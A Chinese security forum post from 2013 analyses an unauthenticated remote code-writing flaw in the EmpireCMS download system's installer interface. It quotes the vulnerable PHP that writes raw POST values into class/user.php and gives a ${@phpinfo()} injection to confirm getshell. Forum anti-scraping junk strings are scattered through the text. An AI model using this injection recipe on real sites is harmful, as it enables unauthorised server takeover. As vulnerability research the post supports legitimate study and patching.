中国网络渗透测试联盟

标题: 帝国万能接口漏洞0day [打印本页]

作者: admin 时间: 2013-1-23 09:34
标题: 帝国万能接口漏洞0day
这是帝国的一套下载系统如图 ps(不需要任何账户和密码，直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口，如图而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码当我们! y. `0 l1 M" r, r1 M# F: b: U# ?

# u9 I) j" G( j7 p
$ _; M- ?# L" N% E' I
这是帝国的一套下载系统如图% i( b+ l/ S  {3 W9 x5 Y6 O1 _  W+ T
ps(不需要任何账户和密码，直接写shell)

: N4 v* d. F  i; H% m' A
由于很多站是由于下载要整合discuz 等等一些论坛....% Q3 L  S2 E% B; K

5 ], t/ D' H" C+ Y
而帝国他又有一个万能接口，如图
+ c! I. t" k( x- f' f. {
[attach]170[/attach]4 r  e% t- p2 h  f* ]- [0 O

; M, J1 x! a9 N/ w8 m! R1 v( x$ X
而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码/ e+ A; _' r4 g% S: ?
, \6 L7 p3 O! T' M' t/ F- W4 x
当我们提交的时候，他地址是提交到index.php?install=1&setup=SetConfig
1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}
复制代码
他这里开始调用一个SetUserCOMConfig的函数了，我们继续跟踪6 L, |7 P; Q4 d

( V' ?& p! M/ ~在data/fun.php中的15行$ s7 ?" s! I4 S
: d, R% @) x, b
我们可以看到这个函数
1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {+ \; l; G9 i% y5 v

17. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);
复制代码
.....//省略若干4 @  D) H( ]; ]1 C
9 ?. Y9 v9 p  U. \/ C$ v
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);' S! g+ P0 C3 j% ]6 h* W" K' z0 m
4 L- P6 X7 o) [) e4 u
他将传进来的变量进行了切割，然后赋给了$filetext
% q1 L& j, D/ m; g  Z; Z
' @. T# Y2 n" w* O9 \! G  L然后看下面
1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');
6. }
7. @fputs($fp,$filetext);
复制代码
打开了一个class/user.php文件，然后将$filetext写入了; {) z: Z4 j) L- y- E( ~" C* s- S( x

& J$ S% E4 D% M4 B4 X$ P$ M3 K! _我们看看写入的结果，随便填一个

1 a, F; R' A7 y$ t8 n' M1 k) G3 Z) t[attach]171[/attach]
, ]+ T2 H! C: Q  X6 b& F+ `- k; s" Q. Q3 b

$ z4 V0 N$ X* L[attach]172[/attach]$ V) c* i& J' Q4 P+ [
9 W8 y- `- [; W+ K9 f
1 g& I+ m! @5 c( m. O! d0 P3 Z

# S8 _5 M  Y7 Y8 t# H# s! |, b% T4 C1 ^+ r# f( V- n  V
2 |, H0 c) z0 a8 V

" ^) x; c6 m% }( ~; I- r' x# ]1 x* A
/ N" p' E: ]- t7 f6 `

. c1 c- ~+ u7 r; g8 X7 d' S  B+ T[attach]173[/attach]7 r% O( ~( J# f+ }7 f2 O+ U8 A
4 J1 Y4 \5 b  Y- l  _9 a$ Z

% P9 n6 V" r6 w# w4 o& |8 j8 I/ }% T5 e( U+ r' w. m$ L' I! X

, D: ~" P9 r1 B* ?3 z
2 ]2 J3 k1 u+ W& H- C" A[attach]174[/attach]  \& p9 J: K7 s9 q2 V" p5 u  O
6 L7 a1 }) [' P$ H) _1 u1 y
所以我们淫荡点，写个${@phpinfo()}试试
: _" Z3 O& H$ C0 }; j( i+ e' H

然后访问以下class/user.php这个文件2 q( B* p% ^$ [1 r0 u  d! ]7 M
日了吧

3 E8 |4 `5 _. _5 ]1 b' \# W& l6 ]2 y; ~2 x+ r- I+ B
8 P1 c$ Q/ J7 |; ^* ?% v
, F9 Y7 O- |) g  [6 q5 K8 q

0 _* `2 j* l; G2 w, z

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)